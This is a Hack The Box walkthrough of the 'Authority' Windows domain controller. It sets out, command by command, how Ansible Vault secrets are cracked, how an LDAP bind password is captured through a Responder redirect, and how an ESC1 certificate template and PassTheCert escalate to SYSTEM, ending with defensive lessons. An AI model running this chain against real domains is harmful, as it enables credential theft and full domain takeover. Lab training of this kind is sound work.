RETIRED MACHINE

Authority

Machine Writeup · Hack The Box

4.3 ★	Medium	Windows	4,912	4,489	30
RATING	DIFFICULTY	OS	USER OWNS	SYSTEM OWNS	POINTS

MACHINE SYNOPSIS

Authority is a Medium Windows Active Directory Domain Controller featuring Ansible Vault credential exposure, PWM LDAP misconfiguration, and ADCS ESC1 exploitation. Guest SMB access reveals a Development share with Ansible playbooks containing Ansible Vault encrypted blobs. ansible2john + john crack the vault password (!@#$%^&*), and ansible-vault decrypts credentials for the PWM web application on port 8443 (svc_pwm / pWm_@dm!N_!23%). PWM is in configuration mode — a fake LDAP server (Responder) captures the plaintext LDAP bind password: svc_ldap:lDaP_1n_th3_cle4r!. WinRM access as svc_ldap grants the user flag. Certipy finds the CorpVPN template vulnerable to ESC1 (enrollment open to Domain Computers). A machine account (MARTI$) is added via impacket-addcomputer over LDAPS, then certipy req obtains a PFX certificate as administrator@authority.htb. Since PKINIT is not supported, PassTheCert authenticates via LDAPS/SChannel and adds svc_ldap to Administrators. impacket-psexec delivers NT AUTHORITY\SYSTEM.

CONTENTS

MH

Martí Hervás
Penetration Tester · Hack The Box · 2026

01 Reconnaissance & Web/SMB Discovery

TTL 127 confirms Windows. Nmap reveals a full Active Directory DC stack with two standout ports: **port 8443 (Apache Tomcat / HTTPS)** and the standard AD ports. The domain is **authority.htb**, hostname **AUTHORITY**, OS Windows Server 2019 Build 17763. Clock-skew of 4 hours requires time sync for Kerberos. Port 80 shows an IIS default page. Port 8443 hosts the **PWM** open-source password self-service application for LDAP — currently in **configuration mode**, revealing internal LDAP settings. SMB Guest access is enabled and the **Development** share is readable.

NMAP — PORT DISCOVERY

nmap — authority.htb, port 8443 PWM + AD stack

```
$ nmap -Pn -n --open -p- --min-rate 5000 10.129.229.56 -oG allPorts
$ extractPorts allPorts

[*] IP Address: 10.129.229.56
[*] Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,...

# Key ports: 8443 (Apache Tomcat/PWM) + full AD stack + WinRM 5985
# clock-skew: 4h00m05s -> sudo ntpdate authority.htb before Kerberos ops
```

SMB — GUEST ACCESS + DEVELOPMENT SHARE

SMB Guest — Development share, Ansible PWM playbooks found

```
# Guest authentication enabled:
$ nxc smb 10.129.229.56 -u 'Guest' -p ''
SMB  AUTHORITY  [+] authority.htb\Guest:

$ nxc smb 10.129.229.56 -u 'Guest' -p '' --shares
SMB  AUTHORITY  Development     READ  <- accessible!
SMB  AUTHORITY  IPC$            READ

# Browse Development share:
$ smbclient //10.129.229.56/Development -U Guest%''
smb: \> ls
  Automation\Ansible\  <- Ansible playbooks directory!
smb: \> cd Automation\Ansible\PWM\defaults
smb: \PWM\defaults\> ls
  main.yml   <- contains Ansible Vault encrypted fields
```

MAIN.YML — ANSIBLE VAULT ENCRYPTED BLOBS

main.yml — 3 Ansible Vault encrypted credential blobs

```
# Content of Automation/Ansible/PWM/defaults/main.yml:
pwm_run_dir: '{{ lookup("env","PWD") }}'
pwm_hostname: authority.authority.htb
pwm_http_port: '{{ pwm_http_port }}'
pwm_https_port: '{{ pwm_https_port }}'
pwm_https_public_cert: '{{ lookup("file","...") }}'
pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32663...  <- svc_pwm (encrypted)
pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          30393...  <- pWm_@dm!N_!23% (encrypted)
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31363...  <- DevT3st@123 (encrypted)
```

NOTE

Ansible Vault encrypts sensitive values inline in YAML playbooks using AES-256. The vault password is shared among all encrypted blobs in a playbook, so cracking one unlocks all three. Guest SMB access on a DC is a critical misconfiguration — shares should require authenticated domain users at minimum.

02 Ansible Vault — Crack & Decrypt Credentials

The three Ansible Vault blobs in main.yml all use the same master vault password. **ansible2john** converts each blob into a crackable hash format (PBKDF2-SHA256 with 10,000 iterations). **John** cracks the vault password against rockyou.txt in 18 seconds: **!@#$%^&***. Running **ansible-vault decrypt** with this password on each blob reveals: PWM admin login (**svc_pwm**), PWM admin password (**pWm_@dm!N_!23%**), and LDAP admin password (**DevT3st@123** — used for the LDAP bind).

ANSIBLE2JOHN + JOHN — CRACK VAULT PASSWORD

ansible2john + john — vault password !@#$%^&* cracked in 18s

```
# Download the encrypted blob (just the vault block):
$ ansible2john pwm_admin_password > pwm_admin_password_hash

$ john -w:/usr/share/wordlists/rockyou.txt pwm_admin_password_hash
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 5 OpenMP threads

!@#$%^&*         (pwm_admin_password)
1g 0:00:00:18 DONE -- 0.05385g/s 2145p/s

# Vault master password: !@#$%^&*
# Same password used for all 3 blobs in main.yml
```

ANSIBLE-VAULT DECRYPT — 3 CREDENTIALS

ansible-vault decrypt — all 3 blobs decrypted with !@#$%^&*

```
$ cat pwm_admin_password | ansible-vault decrypt
Vault password: !@#$%^&*
Decryption successful
pWm_@dm!N_!23%

$ cat pwm_admin_login | ansible-vault decrypt
Vault password: !@#$%^&*
Decryption successful
svc_pwm

$ cat ldap_admin_password | ansible-vault decrypt
Vault password: !@#$%^&*
Decryption successful
DevT3st@123

# Credentials recovered:
# PWM admin: svc_pwm : pWm_@dm!N_!23%
# LDAP admin password: DevT3st@123
```

NOTE

ansible2john.py requires the vault blob to be in a specific format: the header line ($ANSIBLE_VAULT;1.1;AES256) followed by the hex-encoded ciphertext. All vault blobs sharing the same password are vulnerable to a single crack. The PBKDF2-SHA256 with 10,000 iterations provides some resistance, but a short memorable password like !@#$%^&* is still crackable in seconds.

03 PWM Port 8443 — LDAP Credential Capture via Responder

The PWM application at **https://10.129.229.56:8443** is in **Configuration Manager mode**. Logging in with **svc_pwm:pWm_@dm!N_!23%** gives access to the LDAP configuration panel. The panel has a **Test LDAP Profile** feature that initiates an LDAP bind to the configured server. By changing the LDAP URL to point to the attacker's IP and starting **Responder** (or a simple netcat LDAP listener), PWM sends the LDAP bind with the **cleartext svc_ldap password: lDaP_1n_th3_cle4r!**. This is the real domain account — not a service account password from the playbook.

PWM CONFIGURATION MODE — LOGIN + LDAP REDIRECT

PWM config mode — redirect LDAP to attacker Responder

```
# PWM at https://10.129.229.56:8443 is in CONFIGURATION MODE
# Login: svc_pwm : pWm_@dm!N_!23%

# Steps to capture LDAP credentials:
# 1. Go to: Configuration Manager -> LDAP Profile
# 2. Change LDAP URL from:
#    ldaps://authority.authority.htb:636
# 3. To attacker LDAP listener:
#    ldap://10.10.14.X:389
# 4. Start Responder on tun0:
$ sudo responder -I tun0 -v
# 5. Click 'Test LDAP Profile' in PWM

# PWM sends LDAP BIND with svc_ldap credentials in CLEARTEXT!
```

RESPONDER — CAPTURE svc_ldap CLEARTEXT CREDENTIALS

Responder — svc_ldap:lDaP_1n_th3_cle4r! captured in cleartext

```
# Responder captures LDAP BIND request:
[LDAP] Cleartext Client: 10.129.229.56
[LDAP] Cleartext Username: authority\svc_ldap
[LDAP] Cleartext Password: lDaP_1n_th3_cle4r!

# Validate credentials:
$ nxc smb 10.129.229.56 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
SMB  AUTHORITY  [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r!

$ nxc winrm 10.129.229.56 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
WINRM  AUTHORITY  [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! (Pwn3d!)

# svc_ldap in Remote Management Users -> WinRM access!
```

NOTE

PWM in configuration mode uses its stored LDAP credentials to test connections. By pointing the LDAP URL to an attacker-controlled server, PWM sends a SIMPLE BIND (cleartext) with the service account credentials. This is a classic credential theft via LDAP redirect — the application trusts the configured URL without validating TLS certificates or enforcing LDAPS. Always use LDAPS and enforce certificate validation for LDAP bind operations in production.

04 svc_ldap — WinRM Access & User Flag

With **svc_ldap:lDaP_1n_th3_cle4r!** confirmed via WinRM (Pwn3d!), **evil-winrm** establishes an interactive PowerShell session on the DC. The user flag is on svc_ldap's Desktop. SMB enumeration with these credentials reveals 4 domain users and access to Department Shares (empty) and Development (already known). The next step is privilege escalation via Active Directory Certificate Services.

EVIL-WINRM — svc_ldap SESSION + USER FLAG

evil-winrm — svc_ldap foothold, user flag obtained

```
$ evil-winrm -i 10.129.229.56 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami
htb\svc_ldap

*Evil-WinRM* PS C:\Users\svc_ldap\desktop> type user.txt
fedd49394d5cdf64781e7dd9328f0598
```

SMB — USER ENUMERATION WITH svc_ldap

netexec — 4 domain users, pivot to ADCS enumeration

```
$ nxc smb 10.129.229.56 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' --users
SMB  AUTHORITY  Administrator    2023-07-05
SMB  AUTHORITY  Guest            2023-03-17
SMB  AUTHORITY  krbtgt           2022-08-09
SMB  AUTHORITY  svc_ldap         2022-08-11

# Only 4 users in domain -> small attack surface
# No BloodHound interesting ACLs for svc_ldap
# -> Enumerate ADCS for certificate template vulnerabilities
```

05 Certipy — ADCS ESC1 (CorpVPN Template)

Certipy-AD enumerates Active Directory Certificate Services and identifies the **CorpVPN** template as vulnerable to **ESC1**. The template has three critical misconfigurations: (1) **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT** — the requester can specify the Subject Alternative Name (SAN), allowing impersonation of any domain user; (2) **Client Authentication EKU** — certificates can authenticate to domain services; (3) **Enrollment rights for Domain Computers** — any domain-joined machine (or added machine account) can request certificates from this template. Since svc_ldap has MachineAccountQuota > 0, a new computer account can be added.

CERTIPY — ADCS VULNERABILITY SCAN

certipy find — CorpVPN ESC1 vulnerable, Domain Computers enrollment

```
$ certipy find -u svc_ldap -p 'lDaP_1n_th3_cle4r!' \
    -target authority.htb -text -stdout -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates...
[*] Found vulnerable certificate template: CorpVPN

Certificate Template     : CorpVPN
CA Name                  : AUTHORITY-CA
Enrollment Rights        : AUTHORITY.HTB\Domain Computers  <- machines only!
Client Authentication    : True
Enrollee Supplies Subject: True  <- ESC1 vulnerability!
Requires Manager Approval: False
Authorized Signatures    : 0

# ESC1: Domain Computers can request cert with any SAN
# -> Request as administrator@authority.htb to impersonate domain admin
```

NOTE

ESC1 (Enrollee Supplies Subject) is dangerous when combined with Client Authentication. The requester specifies the UPN (User Principal Name) in the certificate's SAN field, and the CA issues it without verifying that the requester IS that user. Here, enrollment is restricted to Domain Computers — not standard users — so a machine account must be added first using the MachineAccountQuota AD attribute.

06 Add Machine Account + certipy req — Administrator PFX

The MS-DS-MachineAccountQuota attribute (default: 10) allows any domain user to add up to 10 computer accounts. **impacket-addcomputer** over LDAPS adds a new machine account **MARTI$** with password **Udl123**. This account is automatically placed in the **Domain Computers** group, qualifying it for CorpVPN enrollment. **certipy req** requests a certificate as **administrator@authority.htb** using the CorpVPN template and the new machine account credentials, generating **administrator.pfx**.

IMPACKET-ADDCOMPUTER — ADD MARTI$ MACHINE ACCOUNT

impacket-addcomputer — MARTI$ added to Domain Computers

```
# Add computer account over LDAPS (required by the DC):
$ impacket-addcomputer 'authority.htb/svc_ldap' \
    -method LDAPS -computer-name MARTI -computer-pass 'Udl123' \
    -dc-ip 10.129.229.56
Impacket v0.14.0 - Copyright Fortra, LLC
Password: lDaP_1n_th3_cle4r!
[*] Successfully added machine account MARTI$ with password Udl123.

# MARTI$ is now in Domain Computers group
# -> eligible to enroll in CorpVPN template
```

CERTIPY REQ — ESC1 CERTIFICATE AS ADMINISTRATOR

certipy req ESC1 — administrator.pfx obtained via CorpVPN

```
# Request certificate with administrator UPN (ESC1 abuse):
$ certipy req -username MARTI$ -password 'Udl123' \
    -ca AUTHORITY-CA -dc-ip 10.129.229.56 \
    -template CorpVPN -upn administrator@authority.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 2
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@authority.htb'
[*] Certificate has no object SID
[*] Saving certificate and private key to 'administrator.pfx'

# PFX obtained! Contains admin certificate + private key
# Note: certipy auth fails (PKINIT not supported) -> use PassTheCert
```

CERTIPY CERT — EXTRACT .CRT AND .KEY FILES

certipy cert — split PFX into .crt + .key for PassTheCert

```
# Split PFX into certificate and private key:
$ certipy cert -pfx administrator.pfx -nocert -out administrator.key
[*] Writing private key to 'administrator.key'

$ certipy cert -pfx administrator.pfx -nokey -out administrator.crt
[*] Writing certificate to 'administrator.crt'

# Why not use certipy auth directly?
# -> DC returns KRB_AP_ERR_SKEW / PKINIT error
# -> AUTHORITY DC does not support smart card / PKINIT authentication
# -> Must use PassTheCert (SChannel/LDAPS authentication instead)
```

07 PassTheCert → Administrators Group → NT AUTHORITY\SYSTEM

Since the DC does not support PKINIT (smart card / certificate-based Kerberos), **certipy auth** fails. Instead, **PassTheCert** authenticates to the domain controller via **LDAPS/SChannel** using the certificate + private key. The **ldap-shell** mode provides a limited interactive LDAP shell running as HTB\Administrator. The add_user_to_group command adds svc_ldap to the **Administrators** group. With svc_ldap now a local administrator, **impacket-psexec** delivers a SYSTEM shell and the root flag is on the Administrator Desktop.

PASSTHECERT — LDAP SHELL AS ADMINISTRATOR

PassTheCert ldap-shell — svc_ldap added to Administrators

```
# PassTheCert: authenticate to LDAPS using certificate (not Kerberos)
$ python3 passthecert.py -action ldap-shell \
    -crt administrator.crt -key administrator.key \
    -domain authority.htb -dc-ip 10.129.229.56
Impacket v0.14.0 - Copyright Fortra, LLC
Type help for list of commands

# add svc_ldap to Administrators:
# add_user_to_group svc_ldap Administrators
Adding user: svc_ldap to group Administrators result: OK

# Verify from evil-winrm session:
*Evil-WinRM* PS> net user svc_ldap
Local Group Memberships: *Administrators  *Remote Management Use

# svc_ldap is now local Administrator!
```

IMPACKET-PSEXEC — NT AUTHORITY\SYSTEM + ROOT FLAG

psexec — SYSTEM shell, root flag. Domain takeover complete!

```
# psexec with svc_ldap (now Administrator):
$ impacket-psexec svc_ldap@10.129.229.56
Impacket v0.14.0 - Copyright Fortra, LLC
Password: lDaP_1n_th3_cle4r!
[*] Found writable share ADMIN$
[*] Uploading file dHPvZwli.exe
[*] Creating service OTed on 10.129.229.56.....
[*] Starting service OTed.....
Microsoft Windows [Version 10.0.17763.4644]

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\administrator\desktop\root.txt
560eaedffc7a4623eafe2edc39d081c7

# DOMAIN COMPROMISED — NT AUTHORITY\SYSTEM via ESC1 + PassTheCert
```

NOTE

PKINIT failure on this DC is intentional — the DC certificate is expired (valid before 2022-08-09, not after 2024-08-09 per nmap output). PassTheCert bypasses Kerberos entirely by authenticating via LDAPS/SChannel using the TLS client certificate. This is a documented attack path in 'Authenticating with Certificates When PKINIT Is Not Supported' (snovvcrash). The LDAP shell runs commands as the certificate's identity (Administrator) without needing a Kerberos ticket.

08 Lessons Learned

01 Guest SMB Access on DCs Exposes Sensitive Configuration Files

The Development share was readable by the Guest account, exposing Ansible playbooks with encrypted credentials. SMB shares on domain controllers must require authenticated domain user access at minimum. Guest authentication should be disabled on all production systems, especially domain controllers where any leaked configuration can lead to full domain compromise.

02 Ansible Vault Security Depends Entirely on Master Password Strength

All three credential blobs shared the master password '!@#$%^&*' — a short symbol-based password crackable with rockyou.txt in 18 seconds. PBKDF2-SHA256 with 10,000 iterations provides meaningful resistance, but only against strong passwords (20+ chars, random). Store vault passwords in a dedicated secrets manager, not in the same repository as the playbooks.

03 PWM Configuration Mode Must Never Be Exposed on Production Networks

PWM in configuration mode allows LDAP URL modification and credential testing, effectively turning the application into a credential exfiltration tool. The Test LDAP Profile feature sent cleartext LDAP BIND credentials to any configured host. Configuration management interfaces must be protected by network ACLs, removed from production, and should enforce LDAPS with certificate validation to prevent credential capture via redirect.

04 ESC1 with Domain Computers Enrollment Requires Machine Account Quota Control

The CorpVPN template was enrollable by Domain Computers only — a restriction that failed because any domain user could add machines up to the MachineAccountQuota limit (default: 10). Setting MachineAccountQuota to 0 prevents non-admin users from adding computer accounts, blocking this escalation. All certificate templates should also disable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT.

05 Expired DC Certificates Do Not Block All Certificate-Based Attacks

The DC's certificate was expired (not valid after 2024), preventing standard PKINIT/Kerberos certificate authentication. However, PassTheCert's SChannel-based LDAPS authentication bypassed this restriction entirely. Certificate expiry on the KDC is not a security control — it only affects smart card logon. Fix the root cause: remediate ESC1 templates and restrict certificate enrollment.

Writeup authored by Marti Hervas · Hack The Box · Authority Machine · 2026